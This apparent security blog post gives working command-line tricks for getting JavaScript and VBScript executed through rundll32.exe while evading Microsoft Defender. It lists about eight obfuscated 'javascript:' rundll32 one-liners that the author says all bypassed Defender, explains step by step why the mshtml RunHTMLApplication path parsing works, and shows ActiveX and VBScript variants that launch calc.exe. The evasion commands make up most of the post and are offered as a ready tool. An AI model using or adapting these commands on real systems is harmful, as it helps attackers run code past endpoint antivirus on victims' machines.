Published
- 2 min read
Update: Defender Bypass using a comma
Update
Update: Microsoft was quick on updating Defender rules, the researcher @hyp3rlinx
responded with this new evasion
. Updated the article.
Note that this doesn’t work in Powershell, only cmd
.
> rundll32.exe javascript:"\\..\\..\\mshtml\\..\\..\\mshtml,RunHTMLApplication ";alert("Hello Red")
Original comma bypass
made by @hyp3rlinx
> rundll32.exe javascript:"\..\mshtml,,,RunHTMLApplication ";alert("Hello Red")
Bonus - my variations
made by вЯ!¢К3ժ
> rundll32.exe javascript:"..\\..\\../mshtml..\\..\\mshtml , RunHTMLApplication # ";alert("Hello Red")
> rundll32.exe javascript:"..\\../../mshtml\\..\\..\\mshtml,RunHTMLApplication ";alert("Hello Red")
> rundll32.exe javascript:"..\\../../mshtml-..\\../../mshtml , , , RunHTMLApplication ";alert("Hello Red")
> rundll32.exe javascript:"..\\../../-mshtml-*-..\\../../mshtml , , , RunHTMLApplication ";alert("Hello Red")
> rundll32.exe javascript:"..\\../../::ms;..\\../../mshTml , , , RunHTMLApplication ";alert("Hello Red")
> rundll32.exe javascript:"..\\../../::lh;..\\../..\\mshTml,RunHTMLApplication ";alert("Hello Red")
They all bypass defender
at the time of writing.
Both should give you a good idea on finding your own obfuscation
, albeit that takes time.
Analysis - how rundll.exe can do JavaScript
I think the comma bypass
is rather self-explanatory, so..
- RunDll32 Process
- Analyzes the command, determining the target DLL is:
javascript:"\..\mshtml
- Encounters an error trying to load it as an absolute directory path.
- Unable to locate a matching file in either the current directory or any system path.
- Does not find a corresponding manifest file
javascript:"\..\mshtml.manifest
for the DLL. - Proceeds to invoke LoadLibrary function.
- Analyzes the command, determining the target DLL is:
- LoadLibrary Function
- Appends the
.dll
extension, attempting to loadjavascript:"\..\mshtml.dll
- Interprets the path relatively, moving up from the simulated
javascript:"\
directory. - Searches and successfully locates
mshtml.dll
in the System folder. - Successfully loads the DLL, with RunHTMLApplication serving as the entry function.
- Appends the
- RunHTMLApplication Routine
- Tries to run the script
";alert('foo');
- Encounters syntax issues with the script and retrieves the original command line input, yielding
javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');
- Seeks to launch this URI, querying the system for the handler of the javascript protocol, commonly associated with Microsoft HTML Javascript Pluggable Protocol in the system registry.
- Executes the script:
"..\mshtml,RunHTMLApplication ";alert('foo');
- Tries to run the script
- Javascript Execution
- Initiates with a string declaration, which is syntactically correct, preventing any errors.
- Proceeds with the execution of the subsequent script components.
Pop calc
Next, let’s try and pop calc from JavaScript
using the classic ActiveX
- because we can. :)
> rundll32.exe javascript:"\\..\\..\\mshtml\\..\\..\\mshtml,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
Guys on twitter did a similar, yet slightly different approach:
> rundll32 vbscript:”\..\mshtml,RunHTMLApplication “+String(CreateObject(“http://Wscript.Shell”).Run(“calc.exe”),0)
> rundll32 vbscript:"\\..\\mshtml\\..\\shtml\\..\\mshtml,RunHTMLApplication "+String(CreateObject("http://Wscript.Shell").Run("calc.exe"),0)
Conclusion
rundll32.exe
can do many things, amongst are executing DLL functions
or running JavaScript
- it’s really useful to have another evasion
that’s quick and easy - my favourite. In an upcoming article we’ll discus rundll32AllTheThings
, like running DLL functions, Proxy Execution
killing the underlying rundll32 process after starting calc.exe
and running code from the network.
Links
https://lolbas-project.github.io/lolbas/Binaries/Rundll32/
https://www.stormshield.com/news/poweliks-command-line-confusion/
Researcher Profile
The comma bypass was found by: https://twitter.com/hyp3rlinx
All the other stuff I did myself, researching on Google / StackExchange and playing in the lab.